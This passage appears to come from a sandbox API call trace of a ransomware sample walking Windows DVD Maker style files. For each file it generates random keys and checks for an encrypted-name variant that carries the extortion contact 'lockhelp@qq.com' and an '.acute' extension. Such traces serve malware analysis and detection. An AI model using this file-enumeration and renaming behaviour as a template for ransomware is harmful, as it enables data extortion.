0xffffffff [0274.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.519] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.519] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2891) returned 1 [0274.519] CloseHandle (hObject=0x30c) returned 1 [0274.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0274.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.520] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.520] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3016) returned 1 [0274.520] CloseHandle (hObject=0x30c) returned 1 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.520] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.520] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2019) returned 1 [0274.520] CloseHandle (hObject=0x30c) returned 1 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.521] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.521] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=13239) returned 1 [0274.521] CloseHandle (hObject=0x30c) returned 1 [0274.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0274.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.521] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.521] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5761) returned 1 [0274.521] CloseHandle (hObject=0x30c) returned 1 [0274.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0274.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.521] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.522] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8169) returned 1 [0274.522] CloseHandle (hObject=0x30c) returned 1 [0274.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0274.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.523] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.523] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=25662) returned 1 [0274.523] CloseHandle (hObject=0x30c) returned 1 [0274.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0274.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.523] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.523] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6166) returned 1 [0274.523] CloseHandle (hObject=0x30c) returned 1 [0274.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0274.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.524] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.524] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7946) returned 1 [0274.524] CloseHandle (hObject=0x30c) returned 1 [0274.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0274.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.524] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.525] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4422) returned 1 [0274.525] CloseHandle (hObject=0x30c) returned 1 [0274.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0274.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.525] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.525] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7888) returned 1 [0274.525] CloseHandle (hObject=0x30c) returned 1 [0274.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0274.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.526] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.526] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=16842) returned 1 [0274.526] CloseHandle (hObject=0x30c) returned 1 [0274.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0274.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.526] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.526] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=253226) returned 1 [0274.526] CloseHandle (hObject=0x30c) returned 1 [0274.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0274.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.526] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.527] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=261220) returned 1 [0274.527] CloseHandle (hObject=0x30c) returned 1 [0274.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0274.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.527] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.528] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=797322) returned 1 [0274.528] CloseHandle (hObject=0x30c) returned 1 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.528] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.528] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=869322) returned 1 [0274.528] CloseHandle (hObject=0x30c) returned 1 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd 